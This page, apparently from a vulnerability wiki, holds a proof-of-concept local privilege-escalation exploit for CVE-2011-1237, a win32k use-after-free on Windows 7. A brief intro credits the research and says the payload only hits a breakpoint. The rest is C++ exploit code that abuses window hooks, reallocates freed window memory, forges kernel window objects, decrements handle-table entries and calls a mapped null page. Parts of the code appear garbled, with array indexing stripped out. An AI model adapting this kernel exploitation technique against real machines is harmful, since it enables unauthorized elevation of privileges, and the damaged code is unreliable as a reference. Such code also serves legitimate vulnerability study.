PWNWIK.COM==免费、自由、人人可编辑的漏洞库
,
INFO
## CVE-2011-1237 This is an old POC for CVE-2011-1237 on Windows 7 written in 2013. The vulnerability was discovered by Tarjei Mandt (@kernelpool(https://twitter.com/kernelpool)) and explain in his paper Kernel Attacks through User-Mode Callbacks(https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf). Several things are hardcoded in this POC and it call the Null page which does not work anymore. The exploit is describe in my talk A Look into the Windows Kernel(https://lse.epita.fr/lse-summer-week-2013/slides/lse-summer-week-2013-26-Bruno%20Pujos-A%20Look%20into%20the%20Windows%20Kernel.pdf). The only thing the shellcode does is trigger a breakpoint.
EXP
#include <afxwin.h>
#include <iostream>
// this should not be in hard, it's the addr of the handle table stored
// in win32k!gSharedInfo
#define BEGIN_HTABLE 0xbc510000
int c = 0;
HWND win;
HWND win2;
HWND win3;
HWND win4;
HWND destroy;
PVOID FakeWin;
PVOID FakeWin2;
wchar_t str82;
NTSTATUS (NTAPI *NtAllocateVirtualMemory)
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
NTSTATUS (NTAPI *NtFreeVirtualMemory)
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG FreeType
);
// The hook needed for set the parent for the window (the one we will destroy
// later)
LRESULT CALLBACK CBT_exploit(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam)
{
CBT_CREATEWND *info = (LPCBT_CREATEWND) lParam;
if (nCode == HCBT_CREATEWND)
{
std::cout << "Win parrent : " << std::hex << win2 << std::endl;
info->hwndInsertAfter = (HWND) win2;
}
return 0;
}
// The msg function which does the work for the msg and in there is the destroy
// and the realloc for the use-after-free
LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == WM_NCCREATE)
{
// here we destroy the window we have pass as the parent
if (!DestroyWindow(win2))
{
std::cout << "PROBLEM : not destroy" << std::endl;
exit(0);
}
std::cout << "The window have been destroy" << std::endl;
// we reallocate the size of the window
if (!SetWindowTextW(win3, str))
{
std::cout << "SetWindowTextW3 fail" << std::endl;
exit(0);
}
// In some case the first allocation with not be at the same
// position than the window we just destroy so we do it twice
if (!SetWindowTextW(win4, str))
{
std::cout << "SetWindowTextW4 fail" << std::endl;
exit(0);
}
std::cout << "The realloc have being done" << std::endl;
}
// just returning the standard stuff for all the message
return DefWindowProc (hwnd, msg, wParam, lParam);
}
int shellcode()
{
// I should put a real shellcode here but that will do it for now
__asm _emit 0xcc // int 3
return 0;
// everything after that fail because I don't fix the window...
}
void initShellcode()
{
PVOID Addr = (PVOID) 0x00001000;
ULONG Size = 1024;
ULONG Status;
char *nulll = 0;
int *nu = (int *) 1;
Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (Status)
{
std::cout << "Allocation of the null page fail" << std::endl;
exit(0);
}
nulll0 = 0xe8; // call
nu0 = ((int) shellcode) - 5; // relative addr
nulll5 = 0xc3; // ret
}
HINSTANCE init()
{
HINSTANCE hInst = GetModuleHandle (0);
WNDCLASSEX wc;
// we get the address of the NtAllocateVirtualMemory
*(FARPROC *) &NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"),
"NtAllocateVirtualMemory");
*(FARPROC *) &NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"),
"NtFreeVirtualMemory");
// we register some window class
// we need to register for set the WndProc function
wc.cbSize = sizeof (WNDCLASSEX);
wc.style = 0;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInst;
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH) (COLOR_WINDOW+1);
wc.lpszMenuName = NULL;
wc.lpszClassName = "MyWinClass";
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (!RegisterClassEx(&wc))
{
std::cout << "Window Registration Failed!" << std::endl;
exit(0);
}
initShellcode();
return hInst;
}
// do the basic operation on the handler for knowing where it is in the table
int get_table_offset_from_handle(int h)
{
return (0xc * (h & 0xffff));
}
// If I can't allocate normally I just try to free something allocate at a place
// where I can alloc
PVOID desesperateallocate()
{
int BaseAddr = 0x00200000; // this is arbitrary
PVOID Addr = (PVOID) BaseAddr;
ULONG Size = 0;
ULONG Status;
Status = NtFreeVirtualMemory( ((HANDLE) -1), &Addr, &Size,
MEM_RELEASE);
while (Status)
{
BaseAddr += 0x10000;
Addr = (PVOID) BaseAddr;
Status = NtFreeVirtualMemory( ((HANDLE) -1), &Addr, &Size,
MEM_RELEASE);
}
std::cout << "Free : 0x" << std::hex << Addr << std::endl;
Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (Status)
{
std::cout << "Fail reallocation at 0x" << std::hex << BaseAddr
<< std::endl;
exit(0);
}
return Addr;
}
// allocate with NTAllocatVirtualMemory a place for putting a fake window
// In particular this function care that the address will be put in a string
// SetWindowText convert the things it does not now how to print in '?'
PVOID functionallocate()
{
int BaseAddr = 0x00200000; // this is arbitrary
PVOID Addr = (PVOID) BaseAddr;
ULONG Size = 1024;
ULONG Status = 1;
Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
while (Status)
{
std::cout << "Error Allocate : 0x" << std::hex << Addr << " "<< Status
<< std::endl;
BaseAddr += 0x10000;
Addr = (PVOID) BaseAddr;
Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// If this have not work we will try to free something which is already
// alloc this have a good chance to finish by crashing the program
// but for now I have no problem with this
if (((BaseAddr >> 16) & 0xff) > 0x7f)
{
std::cout << "Fail to allocate a valid page" << std::endl;
std::cout << "Begin desperate allocate" << std::endl;
return desesperateallocate();
}
}
std::cout << "Success to allocate : 0x" << std::hex << Addr << std::endl;
return Addr;
}
// allocate with NTAllocatVirtualMemory a place for putting a fake window
PVOID allocatefun()
{
int BaseAddr = 0x00200000; // this is arbitrary
PVOID Addr = (PVOID) BaseAddr;
ULONG Size = 1024;
ULONG Status = 1;
Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
while (Status)
{
std::cout << "Error Allocate : 0x" << std::hex << Addr << " "<< Status
<< std::endl;
BaseAddr += 0x10000;
Addr = (PVOID) BaseAddr;
Status = NtAllocateVirtualMemory( ((HANDLE) -1), &Addr, 0, &Size,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
}
std::cout << "Success to allocate : 0x" << std::hex << Addr << std::endl;
return Addr;
}
void prepdecr(HINSTANCE hInst)
{
FakeWin = functionallocate();
FakeWin = (char *)FakeWin + 0x64; // adding something for not having a double 0
std::cout << "Fake Win : " << std::hex << FakeWin << std::endl;
// we put this to 0 because of a check done in the function
((int *)FakeWin)1 = 0;
// we crate the string for the reallocation
for (int i = 0; i < 82; i++)
stri = 'a';
str81 = '\0';
// the address for the spwndNext : we put the address of our
// FakeWindow
str0x2c / 2 = (char) (((int) FakeWin) & 0xff);
str0x2c / 2 + 1 = (char) (((int) FakeWin >> 16) & 0xff);
}
void changeaddrdecr(int addrdecr)
{
// we put in the position for the next the addr to decr
((int *)FakeWin)12 = (addrdecr - 4);
}
void decr(HINSTANCE hInst, int addrdecr)
{
HHOOK hhk;
// we first create two windows we will use for realloc with SetWindowText
// this window are name win3 and win4
win3 = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
NULL, NULL, hInst, NULL);
if (!win3)
{
std::cout << "Window 3 not created : " << GetLastError() << std::endl;
exit (0);
}
win4 = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
NULL, NULL, hInst, NULL);
if (!win4)
{
std::cout << "Window 4 not created : " << GetLastError() << std::endl;
exit(0);
}
// we need a third window which will set as the parent and then destroy
// and reallocate using SetWindowText
win2 = CreateWindowEx(WS_EX_LEFT, "Button", "Test title 2", WS_TILEDWINDOW, 0, 0, 200, 200,
NULL, NULL, hInst, NULL);
if (!win2)
{
std::cout << "Win2 not created : " << GetLastError() << std::endl;
exit (0);
}
std::cout << "Window parrent : " << win2 << std::endl;
std::cout << "Window for the realloc : " << win3 << std::endl;
std::cout << "Window for the realloc : " << win4 << std::endl;
// we set the hook where we will say that the win2 is the parrent
hhk = SetWindowsHookEx(5, CBT_exploit, NULL, GetCurrentThreadId());
// we create the window, all the exploit is during creation
win = CreateWindowEx(WS_EX_LEFT, "MyWinClass", "Test title", WS_TILEDWINDOW, 0, 0, 200, 200,
NULL, NULL, hInst, NULL);
// we check that everything as been going fine
if (!win)
{
std::cout << "An error occur during the creation and the exploit : "
<< GetLastError() << std::endl;
exit (0);
}
// we unset the hook for the next creation
UnhookWindowsHookEx(hhk);
// we put the addr to decrement to 0 because if we relink
// the value we went to decrement could change
changeaddrdecr(0);
}
void callnull(HINSTANCE hInst, int addrdecr)
{
HHOOK hhk;
HWND tmp1;
HWND tmp2;
// here we will need two fake windows, the second is the one we will
// be decrement and will be use to call null
FakeWin = functionallocate();
FakeWin2 = allocatefun();
FakeWin = (char *)FakeWin + 0x64; // adding something for not having a double 0
std::cout << "Fake Win : " << std::hex << FakeWin << std::endl;
std::cout << "Fake Win 2 : " << std::hex << FakeWin2 << std::endl;
((int *)FakeWin)1 = 0;
// we put the addr to decrement as our second false window
((int *)FakeWin)12 = (int)FakeWin2;
// we set the handler for our fake window as the one we have modify
((int *) FakeWin2)0 = (int) destroy;
// we set the clock obj to 1, as it will be set to 0 it will call the
// destroying function for the type associate and so call the null page
((int *) FakeWin2)1 = 1;
// we create the string for the reallocation
for (int i = 0; i < 82; i++)
stri = 'a';
str81 = '\0';
// the address for the spwndNext
str0x2c / 2 = (char) (((int) FakeWin) & 0xff);
str0x2c / 2 + 1 = (char) (((int) FakeWin >> 16) & 0xff);
tmp1 = win3;
// like previously we creatte two window for reallocate
win3 = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
NULL, NULL, hInst, NULL);
if (!win3)
{
std::cout << "Win3 not created : " << GetLastError() << std::endl;
exit (0);
}
tmp2 = win4;
win4 = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
NULL, NULL, hInst, NULL);
if (!win4)
{
std::cout << "Win4 not created : " << GetLastError() << std::endl;
exit (0);
}
// and one wich will be the parrent and then destroy
win2 = CreateWindowEx(WS_EX_LEFT, "Button", "Test title 2", WS_TILEDWINDOW, 0, 0, 200, 200,
NULL, NULL, hInst, NULL);
if (!win2)
{
// Funny thing if I exit here the destruction of the window potentially
// call the null page
std::cout << "Win2 not created : " << GetLastError() << std::endl;
exit(0);
}
std::cout << "Window 2 : " << win2 << std::endl;
std::cout << "Window 3 : " << win3 << std::endl;
std::cout << "Window 4 : " << win4 << std::endl;
// and finnaly we do the exploit
hhk = SetWindowsHookEx(5, CBT_exploit, NULL, GetCurrentThreadId());
win = CreateWindowEx(WS_EX_LEFT, "MyWinClass", "Test title", WS_TILEDWINDOW, 0, 0, 200, 200,
NULL, NULL, hInst, NULL);
if (!win)
{
std::cout << "Error during the call to the null page : " << GetLastError() << std::endl;
exit (0);
}
UnhookWindowsHookEx(hhk);
}
void cve ()
{
int addrdecr;
HINSTANCE hInst;
PVOID FakeWin;
hInst = init();
// the window to destroy
destroy = CreateWindowEx(WS_EX_LEFT, "Button", NULL, WS_TILEDWINDOW, 500, 500, 100, 100,
NULL, NULL, hInst, NULL);
std::cout << "Destroy Window : " << destroy << std::endl;
std::cout << "Offset table : " << get_table_offset_from_handle((int) destroy) << std::endl;
addrdecr = BEGIN_HTABLE + get_table_offset_from_handle((int) destroy) + 9;
prepdecr(hInst);
std::cout << "Begin the three decrement for the flag" << std::endl;
changeaddrdecr(addrdecr);
decr(hInst, addrdecr);
// we set the addr each time
changeaddrdecr(addrdecr);
decr(hInst, addrdecr);
changeaddrdecr(addrdecr);
decr(hInst, addrdecr);
std::cout << "Begin the decrement of the type" << std::endl;
// we change the decrement for setting the type of the window
addrdecr--;
// not sure if it's really useful
prepdecr(hInst);
changeaddrdecr(addrdecr);
decr(hInst, addrdecr);
std::cout << "Last decrementation done" << std::endl;
// here the window to decr as the good value we need just now to delete it
// via the call to link window
std::cout << "Before : Triger the deletion of the free type" << std::endl;
callnull(hInst, addrdecr);
std::cout << "End" << std::endl;
}
int main()
{
cve();
}
PWNWIK.COM
